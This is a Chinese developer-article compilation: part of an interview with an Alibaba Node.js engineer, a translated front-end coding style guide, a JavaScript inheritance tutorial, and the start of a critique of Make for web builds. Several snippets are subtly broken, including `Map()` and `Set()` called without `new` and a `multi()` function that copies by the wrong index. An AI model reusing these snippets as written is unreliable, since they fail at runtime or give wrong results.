我可以举个例子解释一下我们现在做的事情。在Node.js社区上有一些性能调优的工具，比如Chrome上有个CPU调优工具，它可以帮你找出哪段代码运行得比较慢。我们在这个基础上做了更多的工作，我们做的这个性能调优的工具不仅要知道慢，还要知道为什么慢。用我的工具扫过之后，我就知道怎么去改，其实现在我打的很多补丁都是通过这个工具发现的。造成性能慢的原因可能有很多，我们尽量去发掘这些问题。


另外一件我在做的事情就是帮助公司内的一些Node开发者。比如，这些开发者可能做业务开发时没有什么问题，但是运维或者运行的时候就会出现问题。我们工作几年来，并没有因为使用Node.js而造成什么故障，高手写代码不太容易出现问题。但是对于每个工程师来说要求是不一样的，我现在的工作重点就是：出问题的时候能够马上解决。线上代码慢的原因是什么，为什么会有内存泄露，我们做了一些工具来解决这件事。


虽然用一个新技术的时候可能感觉很爽，但是这个技术会带来什么后果或者副作用，可能对于很多人来说都是没底的。为了让阿里的技术环境能够更健康地发展，我们的工作就是要让大家知道，我们不怕这样的问题出现，能出现我们也能解决。现在我们努力在公司以内创造更好的环境，在未来我们有计划把这些东西推出来，希望国内其他用Node.js的公司也能从我们的工作中得到一些好处，独乐乐不如众乐乐。我们希望自己能够做更多的事情，有朝一日能成为Io.js或者Node.js项目里面的核心贡献者，然后去影响它。


问：淘宝UED正在实践前后端分离，应该也有其他团队在做类似的事情，你怎么看？


我个人没有直接参与这样的事情。我觉得前后端分离是否能完成的核心在于服务化的程度。如果系统都是面向服务去设计的，那么在这个过程中解耦可能很容易完成。所以当你真正做一个前端应用层的东西时，就不需要Java的同学来参与帮你写模板，而这个应用层可能是跟业务相关的。


这里的一个概念就是产品应该有两个部分：一个部分是系统层，另一个部分是应用层。应用层的需求可能天天变，但是这种改动基本上不怎么影响底层系统的稳定性。系统层应该是趋向于稳定的，除非业务模型上有一些大的变化的时候才会去改动。而平常的日常迭代，也就是应用层，会有频繁的发布和改动。


如果把两层东西都混在一起的话，整个系统就会很庞大，界限不清晰。后端的人会干预前端的东西，前端有需求的时候可能后端的同学也不能理解。在这过程中我觉得可以把应用层独立出来，让前端的同学能够在中间有一个缓冲地带，既能适应应用层的频繁发布和需求改动，又能让后端稳定。


问：JavaScript有很多框架和库，对于初级学习者来说，怎么能在这些资源中选择适合自己的来创建个人技术栈？


我觉得JavaScript最核心、最源头的东西就是它的规范。当然，如果你纯粹去读规范的话也没有什么目的性，但那是一个核心。当你遇到困惑的时候就不妨去规范上找一找，通常你都能找到答案。这对于我来说是核武器一样的东西，一般不能用的（笑）。


另外，ECMAScript不算是纯粹的API，它定义的实现就不能更改，对于那些没定义的实现，你要去看那些API是怎么去做的。我基本上主要靠这两个东西。


他眼中的Node



  “有一个圈子，有一个社区，其实你会收获很多东西。"




问：能不能简要介绍一下Node生态环境的发展现状？


这个话题其实我已经很久不再提了，因为现状已经太好了。前几年的时候模块有几个了、有几千个了，然后过了一年这个数字就上万了，再过一年就蹦到十万以上了。


我是蛮喜欢这样一个形态的，在跨过一个相对比较低的起点之后，大家可能都有能力来完成一个模块。但是，每个工程师的能力有强有弱，每个人的意识都是不同的，所以这个生态环境又是特别真实的。这里面的东西多，水平参差不齐，但你会发现在很多情况下，如果一个模块是活跃的，它就一直是活跃的；如果它的质量不好，它就永远都是质量不好的。说不定几年以后，你会发现越来越多的模块都是以不断迭代更新的状态生存的，总是有最好的模块来适应当下最需要的事情。


问：我之前听你在采访里说，你当时推广Node的初衷是因为你看到国内外对Node的理解存在很大差距，现在还有没有这种差距？


现在还是有。我觉得最大的差距就是在国内推一个技术的时候，总会有很多人来黑。这些人可能也没有什么前提，不管怎么样，就是嘴巴爽了再说。另外，国内外环境还有一个差距，就是在国内大家主动刷新自己知识的能力还不是太强。你会发现有一些工程师可能已经能完成当前的工作了，但是他在持续学习上可能不会投入太多。


问：你认为前端工程师和后端工程师谁更应该学习Node.js？谁学习Node获益会更多？


其实无论什么工程师学习Node都可以有收获，但是我觉得前端工程师的收获会更大。


为什么要有前端这个工种？我不知道国外是不是这样，但是国内很多人会说前端工程师就是写HTML和CSS的，这种工作就像流水线一样，已经被限定在一个划定的圈里面去发展。当前端工程师发展到某一个阶段的时候，他会发现这个圈子对他是一个限制。我觉得前端工程师需要打破这个圈子，打破之后就会发现更开阔的视野。当我们想要解决一个问题的时候，就不只是再用已有的熟悉的办法来解决，而是发现视野以外的、能够更好地解决问题的方法。反过来说，如果你总是不想去了解服务器端的一些技术，总是用前端的方法来解决问题，那成本可能很高，做出来的方案也可能不理想。


前后端有Node.js连接以后，你就会发现自己的工具链已经完成了一次革命。很多工程师可能会用Java或Ruby来写一些工具，但是前端工程师不熟悉Java，也不熟悉Ruby，他要去完成目标的时候就会特别困难。现在Node.js出来以后，你就发现很多工具直接用Node.js就可以写了，比如说CoffeScript，还有一些像LESS，Sass之类的工具。前端工程师用自己熟悉的东西就能够改良自己的工具，这是第一步。改良工具以后视野就会放开，你会发现还有很多其他东西可以放手去做。


问：你怎么看LinkedIn放弃Node和Scala？


做任何一件事情都会有最适合的方法。我觉得像LinkedIn这么大的系统，其实是一种很复杂、很复合的模式。我们在淘宝推广Node.js的时候，也不可能去用Node把那些最底层最核心的东西替换掉，这是不现实的。如果说在某个系统里面，Node.js不能胜任某些工作，那就不要用它好了。


据说LinkedIn也并没有完全放弃Node，只是某一部分弃用。我觉得Node.js是有它擅长的地方的，只要能够在适合的地方去用好就行了。


问：Io.js和Node.js分离开来，是因为Node更新太慢造成的吗？


大部分原因可能在于，虽然Joyent公司高管对这个项目还算重视，但是他们对开发进度没有实质的帮助。


从2014年7月份开始转岗以后，我的工作重点就是Node.js的内核，所以我对Node.js和Io.js的提交列表和PR都是比较熟悉的。我发现当我提交一个补丁上去的时候，在Node.js下面的处理速度特别慢。我刚进去的时候看到的PR列表大概只有两百多个，现在Io.js分出去以后PR列表更长了。那些在这个项目上做贡献的人，基本上80%已经不在这家公司了。所以现在出力的人并不是来自这家公司，而是社区的一些开发者。如果这家公司只想享受商标带来的好处，贡献者们就不会同意，所以他们就独立出来了。


目前来说我自己是比较喜欢Io.js这个项目的。我跟他们提一个问题上去，很快就会有反应。他们的态度也更开放，就是说不管你的贡献是大是小，只要对这个项目有好处的，他们都会接受。并且他们对新事物的接受速度也更快，比如现在Node.js的V8版本处于3.2，而Io.js里面的V8已经是4.2了。如果更新慢的话，ES6的一些特性就没办法引进来。因为Io.js中有这些新的特性，所以开发者就更愿意进入这个项目。


但是Io.js也给我造成了一些困扰。以前一个版本发布至少也要一两个月，但是现在的版本发布速度已经是以周为单位的了，几乎每周都能出一版。他们更新速度太快逼着我要去做很多工作，需要不停地打版本。话说回来，实际上企业内部升级版本的速度要求不是太快，升级一个大版本以后，如果不需要接下来小版本的功能，就可以先忍忍。


问：你觉得Node阵营的分裂是一件好事吗？


我觉得是好事。我记得很久以前就有人特别想给Node.js的异步IO全部加上Promise，如果不分裂，这件事情永远不可能。虽然现在的Io.js也不能完成这件事，但是只有分裂才有更多的可能性，才能产生更好的东西。


问：很多大公司比如Paypal，从Java转换到Node.js非常成功，在后端Node.js会取代Java吗？


不太可能，Node.js还是在应用层上更有优势。无论是我们在系统层所做的尝试，还是现在已有的案例，都没有能够证明Node.js能够取代Java。我举个简单的例子，现在没有人能拿Node.js来完成缓存或者涉及到集群的大计算，但是Java已经能够做到了。


但是Node.js在应用层上是有优势的，它的最初设计目的就是要优化IO和CPU的关系。以前的IO都是要阻塞CPU计算的，Node把所有IO相关的东西全部从主线程上剥离以后，主线程就变得比较高效。而我们在Java里面去实现异步是比较麻烦的，可能需要启用多线程。虽然Java也有框架去做这件事，但是对已有的开发者来说，由于他们对原有的模式已经很熟悉，所以不会愿意去做改变。应用层就应该能够快速运行并且面向很多系统。我可以用Node.js快速地开发，调用各个系统。


问：刚才你也提到，有些人认为Node.js在设计上最大的失败就是它的API是基于Callback，而不是基于Promise的，你同意吗？


当时的情况就是那样，ES6没有出来，Generator也没有出来，如果让Node.js创始人Ryan Dahl去做这件事，他不仅要去改上层的东西，还要去改JavaScript。但是现在的情况已经有变化了， ES6已经出来了，它里面有一个东西叫Generator，运行过程中我们让程序调用栈停下来，然后在某个时间再重新把它唤起来。新的框架Koa就能够利用好这个特性，写程序的时候你会发现程序已经顺序执行了，但是背后的实质还是异步。我觉得这些变化将来可能会慢慢影响Node.js本身的设计，甚至将来Io.js的API可能也会慢慢去改。


另外，之所以当时会有Callback这样的设计，就是因为当时的Callback特别适合异步调用。这样做的原因也跟当时选JavaScript有很大的关系。Ryan Dahl去调研过Java、Ruby之类的语言，他发现这些语言提供的API有很重的历史负担。这时候如果给开发者提供新的API，大家也不会去用，因为这会改变他们的思维模式。他在设计这个模型的过程中，发现事件循环里面有阻塞IO的话就会导致效率急剧下降。而JavaScript特别适合完成这项工作，它不主动提供同步的API给你，所以阻塞的方式就不存在。


问：今年你还会不会举办京JS或者杭JS？


今年举办的会叫深JS。我们今年没有主动去办会，而是由之前我们的一个合作方去承接了这件事。他们是上海的一家外企，对JS社区有比较高的热情，过去三年举办的会他们都帮助我们做了很多事情，这次交给他们办也是顺理成章的。


问：以后你还会再举办这样的活动吗？你在这几次办会的过程中遇到过什么困难？


我们以后不排除仍然会举办这样的活动。有一次在北京办会，我们三个人都身在外地，所有的事情都是通过远程操作，在外地办会感到资源上的限制。另外的一个困难在于沟通，比如怎么去邀请国外的讲师或者跟我们国外的主办方沟通，中西方的文化差异会造成一些困扰。


我觉得办会最重要的还是内容，对内容的挑选和审核，讲师怎么邀请，主题要怎么规划。不能某个主题今年讲，明年讲，后年讲，有的公司可能出于商业目的有这样的需求，但有些东西是不能去妥协的。


问：纵然有这么多困难，但是你还是一直在坚持做这件事，举办这样的活动对社区来说最大的收获是什么？


其实在办活动这件事上，我有一个老师叫周裕波，我在上海工作的时候就遇到过他，他经常会办一些前端的活动。对于个人开发者而言，他们很少愿意主动出来组织这些活动，但周裕波做到了，我觉得我应该也能为Node做一些事情。当时我看到Node没有这样的氛围，国内的很多开发者都不愿意出来，当时的社区也关注不到这个东西，所以我就办了很多次NodeParty。


这个过程其实收益还是很多的。首先我对这个社区更加了解了，跟很多高手都很熟悉。另外，我接触了很多赞助商，各种资源其实都是大家互相需要的。没做过这件事的人可能会觉得非常难，但做了以后你会发现没有想象中那么难。因为你总是会得到一些帮助，来自各个方面的帮助，你在经济上也没有什么损失，还会结交一些的朋友。有一个圈子，有一个社区，其实你会收获很多东西。




更多精彩，加入图灵访谈微信！





 GitHub 上一份很受欢迎的前端代码优化指南

作者：江小湖Laker

来源： GitHub 上一份很受欢迎的前端代码优化指南



                    
看到一份很受欢迎的前端代码指南，根据自己的理解进行了翻译，但能力有限，对一些JS代码理解不了，如有错误，望斧正。


HTML


语义化标签


HTML5 提供了很多语义化元素，更好地帮助描述内容。希望你能从这些丰富的标签库中受益。


<!-- bad -->
<div id="main">
  <div class="article">
    <div class="header">
      <h1>Blog post</h1>
      <p>Published: <span>21st Feb, 2015</span></p>
    </div>
    <p>…</p>
  </div>
</div>

<!-- good -->
<main>
  <article>
    <header>
      <h1>Blog post</h1>
      <p>Published: <time datetime="2015-02-21">21st Feb, 2015</time></p>
    </header>
    <p>…</p>
  </article>
</main>



请确保正确使用语义化的标签，错误的用法甚至不如保守的用法。


<!-- bad -->
<h1>
  <figure>
    <img alt=Company src=logo.png>
  </figure>
</h1>

<!-- good -->
<h1>
  <img alt=Company src=logo.png>
</h1>



简洁


确保代码简洁性，不要再采用XHTML的旧做法。


<!-- bad -->
<!doctype html>
<html lang=en>
  <head>
    <meta http-equiv=Content-Type content="text/html; charset=utf-8" />
    <title>Contact</title>
    <link rel=stylesheet href=style.css type=text/css />
  </head>
  <body>
    <h1>Contact me</h1>
    <label>
      Email address:
      <input type=email placeholder=you@email.com required=required />
    </label>
    <script src=main.js type=text/javascript></script>
  </body>
</html>

<!-- good -->
<!doctype html>
<html lang=en>
  <meta charset=utf-8>
  <title>Contact</title>
  <link rel=stylesheet href=style.css>

  <h1>Contact me</h1>
  <label>
    Email address:
    <input type=email placeholder=you@email.com required>
  </label>
  <script src=main.js></script>
</html>



可用性


可用性不应该是事后才考虑的事情。你不必成为WCAG专家来改进网站，你可以通过简单的修改做出不错的效果，例如；



	正确使用alt属性

	确保链接和按钮正确使用（不要用<div class=button>这种粗暴的做法）

	不依赖于颜色来传达信息

	给表单做好lable标记



   <!-- bad -->
    <h1><img alt="Logo" src="logo.png"></h1>

    <!-- good -->
    <h1><img alt="My Company, Inc." src="logo.png"></h1>



语言


定义语言和字符编码是可选项，建议在文档级别处定义。使用UTF-8编码。


<!-- bad -->
<!doctype html>
<title>Hello, world.</title>

<!-- good -->
<!doctype html>
<html lang=en>
  <meta charset=utf-8>
  <title>Hello, world.</title>
</html>



性能


除非有非要在加载内容前加载脚本的必要性由，不然别这样做，这样会阻碍网页渲染。如果你的样式表很大，必须独立放到一个文件里。两次HTTP 请求不会显著降低性能。


<!-- bad -->
<!doctype html>
<meta charset=utf-8>
<script src=analytics.js></script>
<title>Hello, world.</title>
<p>...</p>

<!-- good -->
<!doctype html>
<meta charset=utf-8>
<title>Hello, world.</title>
<p>...</p>
<script src=analytics.js></script>



CSS


分号


不能漏写分号


/* bad */
div {
  color: red
}

/* good */
div {
  color: red;
}



盒模型


整个文档的盒模型应该要相同，最好使用global * { box-sizing: border-box; }定义。不要修改某个元素的盒模型。


/* bad */
div {
  width: 100%;
  padding: 10px;
  box-sizing: border-box;
}

/* good */
div {
  padding: 10px;
}



流


尽量不要改变元素默认行为。保持默认的文本流。比如，移出一个图片下面的一个白块，不影响原本的显示：


/* bad */
img {
  display: block;
}

/* good */
img {
  vertical-align: middle;
}



类似的，尽量不要改变浮动方式。


/* bad */
div {
  width: 100px;
  position: absolute;
  right: 0;
}

/* good */
div {
  width: 100px;
  margin-left: auto;
}



定位


有很多CSS定位方法，尽量避免使用以下方法，根据性能排序：


display: block;
display: flex;
position: relative;
position: sticky;
position: absolute;
position: fixed;



选择器


紧密耦合DOM选择器，三个层级以上建议加class：


/* bad */
div:first-of-type :last-child > p ~ *

/* good */
div:first-of-type .info



避免不必要的写法：


/* bad */
img[src$=svg], ul > li:first-child {
  opacity: 0;
}

/* good */
[src$=svg], ul > :first-child {
  opacity: 0;
}



指明


不要让代码难于重写，让选择器更精确，减少ID、避免使用!important


/* bad */
.bar {
  color: green !important;
}
.foo {
  color: red;
}

/* good */
.foo.bar {
  color: green;
}
.foo {
  color: red;
}



覆盖


覆盖样式会使维护和调试更困难，所以要尽量避免。


/* bad */
li {
  visibility: hidden;
}
li:first-child {
  visibility: visible;
}

/* good */
li + li {
  visibility: hidden;
}



继承


不要把可继承的样式重复声明：


/* bad */
div h1, div p {
  text-shadow: 0 1px 0 #fff;
}

/* good */
div {
  text-shadow: 0 1px 0 #fff;
}



简洁


保持代码的简洁。使用属性缩写。不必要的值不用写。


/* bad */
div {
  transition: all 1s;
  top: 50%;
  margin-top: -10px;
  padding-top: 5px;
  padding-right: 10px;
  padding-bottom: 20px;
  padding-left: 10px;
}

/* good */
div {
  transition: 1s;
  top: calc(50% - 10px);
  padding: 5px 10px 20px;
}



语言


能用英文的时候不用数字。


/* bad */
:nth-child(2n + 1) {
  transform: rotate(360deg);
}

/* good */
:nth-child(odd) {
  transform: rotate(1turn);
}



供应商的前缀


砍掉过时的供应商前缀。必须使用时，需要放在标准属性前：


/* bad */
div {
  transform: scale(2);
  -webkit-transform: scale(2);
  -moz-transform: scale(2);
  -ms-transform: scale(2);
  transition: 1s;
  -webkit-transition: 1s;
  -moz-transition: 1s;
  -ms-transition: 1s;
}

/* good */
div {
  -webkit-transform: scale(2);
  transform: scale(2);
  transition: 1s;
}



动画


除了变形和改变透明度用animation，其他尽量使用transition。


/* bad */
div:hover {
  animation: move 1s forwards;
}
@keyframes move {
  100% {
    margin-left: 100px;
  }
}

/* good */
div:hover {
  transition: 1s;
  transform: translateX(100px);
}



单位


可以不用单位时就不用。建议用rem。时间单位用s比ms好。


/* bad */
div {
  margin: 0px;
  font-size: .9em;
  line-height: 22px;
  transition: 500ms;
}

/* good */
div {
  margin: 0;
  font-size: .9rem;
  line-height: 1.5;
  transition: .5s;
}



颜色


需要做透明效果是用rgba，否则都用16进制表示：


/* bad */
div {
  color: hsl(103, 54%, 43%);
}

/* good */
div {
  color: #5a3;
}



绘图


减少HTTPS请求，尽量用CSS绘图替代图片：


/* bad */
div::before {
  content: url(white-circle.svg);
}

/* good */
div::before {
  content: "";
  display: block;
  width: 20px;
  height: 20px;
  border-radius: 50%;
  background: #fff;
}



注释


/* bad */
div {
  // position: relative;
  transform: translateZ(0);
}

/* good */
div {
  /* position: relative; */
  will-change: transform;
}



JavaScript


性能


有可读性、正确性和好的表达比性能更重要。JavaScript基本上不会是你的性能瓶颈。有些可优化细节例如：图片压缩、网络接入、DOM文本流。如果你只能记住本指南的一条规则，那就记住这条吧。


// bad (albeit way faster)
const arr = [1, 2, 3, 4];
const len = arr.length;
var i = -1;
var result = [];
while (++i < len) {
  var n = arr[i];
  if (n % 2 > 0) continue;
  result.push(n * n);
}

// good
const arr = [1, 2, 3, 4];
const isEven = n => n % 2 == 0;
const square = n => n * n;

const result = arr.filter(isEven).map(square);



Statelessness


尽量保持代码功能简单化，每个方法都对其他其他代码没有负影响。不使用外部数据。返回一个新对象而不是覆盖原有的对象。


// bad
const merge = (target, ...sources) => Object.assign(target, ...sources);
merge({ foo: "foo" }, { bar: "bar" }); // => { foo: "foo", bar: "bar" }

// good
const merge = (...sources) => Object.assign({}, ...sources);
merge({ foo: "foo" }, { bar: "bar" }); // => { foo: "foo", bar: "bar" }



尽量使用内置方法


// bad
const toArray = obj => [].slice.call(obj);

// good
const toArray = (() =>
  Array.from ? Array.from : obj => [].slice.call(obj)
)();



严格条件


在非必要严格条件的情况不要使用。


// bad
if (x === undefined || x === null) { ... }

// good
if (x == undefined) { ... }



对象


不要在循环里强制改变对象的值，，可以利用array.prototype方法。


// bad
const sum = arr => {
  var sum = 0;
  var i = -1;
  for (;arr[++i];) {
    sum += arr[i];
  }
  return sum;
};

sum([1, 2, 3]); // => 6

// good
const sum = arr =>
  arr.reduce((x, y) => x + y);

sum([1, 2, 3]); // => 6
If you can't, or if using array.prototype methods is arguably abusive, use recursion.

// bad
const createDivs = howMany => {
  while (howMany--) {
    document.body.insertAdjacentHTML("beforeend", "<div></div>");
  }
};
createDivs(5);

// bad
const createDivs = howMany =>
  [...Array(howMany)].forEach(() =>
    document.body.insertAdjacentHTML("beforeend", "<div></div>")
  );
createDivs(5);

// good
const createDivs = howMany => {
  if (!howMany) return;
  document.body.insertAdjacentHTML("beforeend", "<div></div>");
  return createDivs(howMany - 1);
};
createDivs(5);



Arguments


忘记arguments对象吧，其他参数是更好的选择，因为：



	它已经被定义

	
它是一个真的数组，很方便使用


// bad
const sortNumbers = () =>
  Array.prototype.slice.call(arguments).sort();

// good
const sortNumbers = (...numbers) => numbers.sort();






Apply


忘记apply()，改用运算操作。


const greet = (first, last) => `Hi ${first} ${last}`;
const person = ["John", "Doe"];

// bad
greet.apply(null, person);

// good
greet(...person);



Bind


不用bind()方法，这有更好的选择：


// bad
["foo", "bar"].forEach(func.bind(this));

// good
["foo", "bar"].forEach(func, this);
// bad
const person = {
  first: "John",
  last: "Doe",
  greet() {
    const full = function() {
      return `${this.first} ${this.last}`;
    }.bind(this);
    return `Hello ${full()}`;
  }
}

// good
const person = {
  first: "John",
  last: "Doe",
  greet() {
    const full = () => `${this.first} ${this.last}`;
    return `Hello ${full()}`;
  }
}



更好的排序


避免多重嵌套：


// bad
[1, 2, 3].map(num => String(num));

// good
[1, 2, 3].map(String);



Composition


避免方法嵌套调用，改用composition：


const plus1 = a => a + 1;
const mult2 = a => a * 2;

// bad
mult2(plus1(5)); // => 12

// good
const pipeline = (...funcs) => val => funcs.reduce((a, b) => b(a), val);
const addThenMult = pipeline(plus1, mult2);
addThenMult(5); // => 12



缓存


缓存性能测试，大数据结构和任何高代价的操作。


// bad
const contains = (arr, value) =>
  Array.prototype.includes
    ? arr.includes(value)
    : arr.some(el => el === value);
contains(["foo", "bar"], "baz"); // => false

// good
const contains = (() =>
  Array.prototype.includes
    ? (arr, value) => arr.includes(value)
    : (arr, value) => arr.some(el => el === value)
)();
contains(["foo", "bar"], "baz"); // => false



变量


const 优于 let， let 优于 var。


// bad
var obj = {};
obj["foo" + "bar"] = "baz";

// good
const obj = {
  ["foo" + "bar"]: "baz"
};



条件判断


用多个if，优于 if 、else if、else 和switch。


// bad
var grade;
if (result < 50)
  grade = "bad";
else if (result < 90)
  grade = "good";
else
  grade = "excellent";

// good
const grade = (() => {
  if (result < 50)
    return "bad";
  if (result < 90)
    return "good";
  return "excellent";
})();



对象的操作


避免使用for...in。


const shared = { foo: "foo" };
const obj = Object.create(shared, {
  bar: {
    value: "bar",
    enumerable: true
  }
});

// bad
for (var prop in obj) {
  if (obj.hasOwnProperty(prop))
    console.log(prop);
}

// good
Object.keys(obj).forEach(prop => console.log(prop));



使用map


合理使用的情况下，map更强大：


// bad
const me = {
  name: "Ben",
  age: 30
};
var meSize = Object.keys(me).length;
meSize; // => 2
me.country = "Belgium";
meSize++;
meSize; // => 3

// good
const me = Map();
me.set("name", "Ben");
me.set("age", 30);
me.size; // => 2
me.set("country", "Belgium");
me.size; // => 3



Curry


在别的语言里有Curry的一席之地，但在JS里避免使用。不然会是代码阅读困难。


// bad
const sum = a => b => a + b;
sum(5)(3); // => 8

// good
const sum = (a, b) => a + b;
sum(5, 3); // => 8



可读性


不要使用自以为是的技巧：


// bad
foo || doSomething();

// good
if (!foo) doSomething();

// bad
void function() { /* IIFE */ }();

// good
(function() { /* IIFE */ }());

// bad
const n = ~~3.14;

// good
const n = Math.floor(3.14);



代码重用


对写些小型、组件化、可重用的方法。


// bad
arr[arr.length - 1];

// good
const first = arr => arr[0];
const last = arr => first(arr.slice(-1));
last(arr);

// bad
const product = (a, b) => a * b;
const triple = n => n * 3;

// good
const product = (a, b) => a * b;
const triple = product.bind(null, 3);



依赖


减少第三方库的使用。当你无法完成某项工作时可以使用，但不要为了一些能自己实现的小功能就加载一个很大的库。


// bad
var _ = require("underscore");
_.compact(["foo", 0]));
_.unique(["foo", "foo"]);
_.union(["foo"], ["bar"], ["foo"]);

// good
const compact = arr => arr.filter(el => el);
const unique = arr => [...Set(arr)];
const union = (...arr) => unique([].concat(...arr));

compact(["foo", 0]);
unique(["foo", "foo"]);
union(["foo"], ["bar"], ["foo"]);
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 JavaScript 中继承实现方式归纳

作者：classicemi

来源： JavaScript 中继承实现方式归纳



                    
不同于基于类的编程语言，如 C++ 和 Java，JavaScript 中的继承方式是基于原型的。同时由于 JavaScript 是一门非常灵活的语言，其实现继承的方式也非常多。


首要的基本概念是关于构造函数和原型链的，父对象的构造函数称为Parent，子对象的构造函数称为Child，对应的父对象和子对象分别为parent和child。


对象中有一个隐藏属性[[prototype]](注意不是prototype)，在 Chrome 中是__proto__，而在某些环境下则不可访问，它指向的是这个对象的原型。在访问任何一个对象的属性或方法时，首先会搜索本对象的所有属性，如果找不到的话则会根据[[prototype]]沿着原型链逐步搜索其原型对象上的属性，直到找到为止，否则返回undefined。


原型链继承


原型链是 JavaScript 中实现继承的默认方式，如果要让子对象继承父对象的话，最简单的方式是将子对象构造函数的prototype属性指向父对象的一个实例：


javascriptfunction Parent() {}
function Child() {}
Child.prototype = new Parent()



这个时候，Child的prototype属性被重写了，指向了一个新对象，但是这个新对象的constructor属性却没有正确指向Child，JS 引擎并不会自动为我们完成这件工作，这需要我们手动去将Child的原型对象的constructor属性重新指向Child:


javascriptChild.prototype.constructor = Child



以上就是 JavaScript 中的默认继承机制，将需要重用的属性和方法迁移至原型对象中，而将不可重用的部分设置为对象的自身属性，但这种继承方式需要新建一个实例作为原型对象，效率上会低一些。


原型继承（非原型链）


为了避免上一个方法需要重复创建原型对象实例的问题，可以直接将子对象构造函数的prototype指向父对象构造函数的prototype，这样，所有Parent.prototype中的属性和方法也能被重用，同时不需要重复创建原型对象实例：


javascriptChild.prototype = Parent.prototype
Child.prototype.constructor = Child



但是我们知道，在 JavaScript 中，对象是作为引用类型存在的，这种方法实际上是将Child.prototype和Parent.prototype中保存的指针指向了同一个对象，因此，当我们想要在子对象原型中扩展一些属性以便之后继续继承的话，父对象的原型也会被改写，因为这里的原型对象实例始终只有一个，这也是这种继承方式的缺点。


临时构造器继承


为了解决上面的问题，可以借用一个临时构造器起到一个中间层的作用，所有子对象原型的操作都是在临时构造器的实例上完成，不会影响到父对象原型：


javascriptvar F = function() {}
F.prototype = Parent.prototype
Child.prototype = new F()
Child.prototype.constructor = Child



同时，为了可以在子对象中访问父类原型中的属性，可以在子对象构造器上加入一个指向父对象原型的属性，如uber，这样，可以在子对象上直接通过child.constructor.uber访问到父级原型对象。


我们可以将上面的这些工作封装成一个函数，以后调用这个函数就可以方便实现这种继承方式了：


javascriptfunction extend(Child, Parent) {
    var F = function() {}
    F.prototype = Parent.prototype
    Child.prototype = new F()
    Child.prototype.constructor = Child
    Child.uber = Parent.prototype
}



然后就可以这样调用：


javascriptextend(Dog, Animal)



属性拷贝


这种继承方式基本没有改变原型链的关系，而是直接将父级原型对象中的属性全部复制到子对象原型中，当然，这里的复制仅仅适用于基本数据类型，对象类型只支持引用传递。


javascriptfunction extend2(Child, Parent) {
    var p = Parent.prototype
    var c = Child.prototype
    for (var i in p) {
        c[i] = p[i]
    }
    c.uber = p
}



这种方式对部分原型属性进行了重建，构建对象的时候效率会低一些，但是能够减少原型链的查找。不过我个人觉得这种方式的优点并不明显。


对象间继承


除了基于构造器间的继承方法，还可以抛开构造器直接进行对象间的继承。即直接进行对象属性的拷贝，其中包括浅拷贝和深拷贝。


浅拷贝


接受要继承的对象，同时创建一个新的空对象，将要继承对象的属性拷贝至新对象中并返回这个新对象：


javascriptfunction extendCopy(p) {
    var c = {}
    for (var i in p) {
        c[i] = p[i]
    }
    c.uber = p
    return c
}



拷贝完成之后对于新对象中需要改写的属性可以进行手动改写。


深拷贝


浅拷贝的问题也显而易见，它不能拷贝对象类型的属性而只能传递引用，要解决这个问题就要使用深拷贝。深拷贝的重点在于拷贝的递归调用，检测到对象类型的属性时就创建对应的对象或数组，并逐一复制其中的基本类型值。


javascriptfunction deepCopy(p, c) {
    c = c || {}
    for (var i in p) {
        if (p.hasOwnProperty(i)) {
            if (typeof p[i] === 'object') {
                c[i] = Array.isArray(p[i]) ? [] : {}
                deepCopy(p[i], c[i])
            } else {
                c[i] = p[i]
            }
        }
    }
    return c
}



其中用到了一个 ES5 的Array.isArray()方法用于判断参数是否为数组，没有实现此方法的环境需要自己手动封装一个 shim。


javascriptArray.isArray = function(p) {
    return p instanceof Array
}



但是使用instanceof操作符无法判断来自不同框架的数组变量，但这种情况比较少。


原型继承


借助父级对象，通过构造函数创建一个以父级对象为原型的新对象：


javascriptfunction object(o) {
    var n
    function F() {}
    F.prototype = o
    n = new F()
    n.uber = o
    return n
}



这里，直接将父对象设置为子对象的原型，ES5 中的 Object.create()方法就是这种实现方式。


原型继承和属性拷贝混用


原型继承方法中以传入的父对象为原型构建子对象，同时还可以在父对象提供的属性之外额外传入需要拷贝属性的对象：


javascriptfunction ojbectPlus(o, stuff) {
    var n
    function F() {}
    F.prototype = o
    n = new F()
    n.uber = o

    for (var i in stuff) {
        n[i] = stuff[i]
    }
    return n
}



多重继承


这种方式不涉及原型链的操作，传入多个需要拷贝属性的对象，依次进行属性的全拷贝：


javascriptfunction multi() {
    var n = {}, stuff, i = 0,
        len = arguments.length
    for (i = 0; i < len; i++) {
        stuff = arguments[i]
        for (var key in stuff) {
            n[i] = stuff[i]
        }
    }
    return n
}



根据对象传入的顺序依次进行拷贝，也就是说，如果后传入的对象包含和前面对象相同的属性，后者将会覆盖前者。


构造器借用


JavaScript中的call()和apply()方法非常好用，其改变方法执行上下文的功能在继承的实现中也能发挥作用。所谓构造器借用是指在子对象构造器中借用父对象的构造函数对this进行操作：


javascriptfunction Parent() {}
Parent.prototype.name = 'parent'

function Child() {
    Parent.apply(this, arguments)
}
var child = new Child()
console.log(child.name)



这种方式的最大优势就是，在子对象的构造器中，是对子对象的自身属性进行完全的重建，引用类型的变量也会生成一个新值而不是一个引用，所以对子对象的任何操作都不会影响父对象。


而这种方法的缺点在于，在子对象的构建过程中没有使用过new操作符，因此子对象不会继承父级原型对象上的任何属性，在上面的代码中，child的name属性将会是undefined。


要解决这个问题，可以再次手动将子对象构造器原型设为父对象的实例：


javascriptChild.prototype = new Parent()



但这样又会带来另一个问题，即父对象的构造器会被调用两次，一次是在父对象构造器借用过程中，另一次是在继承原型过程中。


要解决这个问题，就要去掉一次父对象构造器的调用，构造器借用不能省略，那么只能去掉后一次调用，实现继承原型的另一方法就是迭代复制：


javascriptextend2(Child, Parent)



使用之前实现的extend2()方法即可。





  本文同步自我的 GitHub 博客




 为什么用 Make 构建网站绝对不是一个好主意

作者：沙渺

来源： 为什么用 Make 构建网站绝对不是一个好主意



                    
本文直接联动阮一峰blog的文章《使用 Make 构建网站》。


这篇文章在描述javascript构建工具的弱点上，是牵强附会和夸大的。grunt和gulp的问题远远没有文章所述那么严重。


而文中对make工具，仅有教程式的讲述，而缺乏对弱点和缺陷的讨论。但偏偏原文的make教程就直接暴露了make的若干设计问题。此时如果没有其他观点对make的弱点加以分析，无疑是不全面的。


我觉得这篇文章从本质上来讲，是错误和误导性的，尤其是对新手开发者而言。Make，包括标准的GNU make及其他任何仿品，都不应当作为Web项目的构建工具。


make：看似简单实则简陋


隐喻胜于明确


Makefile使用大量的隐喻来表述实在的语法意义。


